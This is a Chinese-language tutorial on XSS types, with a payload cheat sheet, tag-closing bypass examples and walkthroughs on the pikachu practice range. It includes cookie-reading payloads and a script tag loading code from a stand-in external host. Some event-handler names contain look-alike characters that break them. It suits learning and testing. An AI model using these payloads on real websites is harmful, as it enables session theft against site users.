介绍

XSS全称:跨站脚本(Cross Site Scripting) ,又称跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种,服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。

xss漏洞分为三种:反射型,存储型和DOM型

相关知识准备

测试语句

以下所有标签的 > 都可以用 // 代替, 例如

1
<script>alert(1)</script//
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
##<script>标签
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss

##svg标签
<svg onload="alert(1)">

##<img>标签
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie

##<body>标签
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

##video标签
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

##style标签
<style οnlοad=alert(1)></style>

插入位置

  1. 用户输入作为script标签内容
  2. 用户输入作为HTML注释内容
  3. 用户输入作为HTML标签的属性名
  4. 用户输入作为HTML标签的属性值
  5. 用户输入作为HTML标签的名字
  6. 直接插入到CSS里
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->

#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>

#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />

#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

原理

反射型xss

反射型xss漏洞又称非持久型xss漏洞,攻击往往是一次性的,非持久化,需要欺骗用户自己去点击链接才能触发xss代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型xss大多数是用来盗取用户的Cookie信息。

攻击者通过发送电子邮件等方式将包含xss代码的恶意链接发送给目标用户,当用户目标访问该链接时,服务器会接收该目标用户的请求并进行处理,然后服务器把带有xss代码的数据发送给目标用户的浏览器,浏览器解析了这段带有xss代码的恶意脚本后,就会触发xss漏洞。

下边拿pikachu靶场的xss漏洞举例,当我们在保单提交的页面提交数据后,数据会被输出到输出表单中,譬如下图,我们可以看到当我们输入11后,表单会回显我不在乎谁是11。

此时我们发现页面的url变成了下图的模样,那么如果我们将xss语句写在messege里,我们会发现这里执行了我们的弹窗,说明代码被执行了,呢如果我们将代码换一下,换成document.cookie,我们会发现我们拿到了cookie的值

存储型xss

相较于反射型XSS,存储型XSS具有持久性特点。攻击者将恶意脚本永久地存储在目标服务器上,例如在博客文章内容、用户个人资料、论坛帖子等位置。每当任何用户访问到包含此类恶意内容的页面时,浏览器都会执行其中的恶意脚本。

例如,攻击者在发帖的过程中,将恶意脚本(例如下边的payload)连同正常信息一起注入帖子的内容中,随着帖子被服务器存储下来,恶意脚本也会存放在服务器的后端存储器中,当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

1
<script>alert(/hack by hacker/)</script>

DOM型xss漏洞

这种类型的XSS不涉及服务器端的数据存储,而是发生在客户端层面,即浏览器解析和动态修改DOM树的过程中。如果Web应用程序错误地使用来自不可信源的数据更新DOM,并且没有实施恰当的防御措施,攻击者就可以利用DOM-XSS漏洞注入恶意脚本。

这里也是以pikachu靶场domxss举例,输入任意内容,发现what do you see字样,来到控制台ctrl + F来搜索这句话,发现一个js里存在这句话,我们闭合之后使用payload,点击出现的what do you see就可以弹窗

1
' onclick="alert('ourobros')">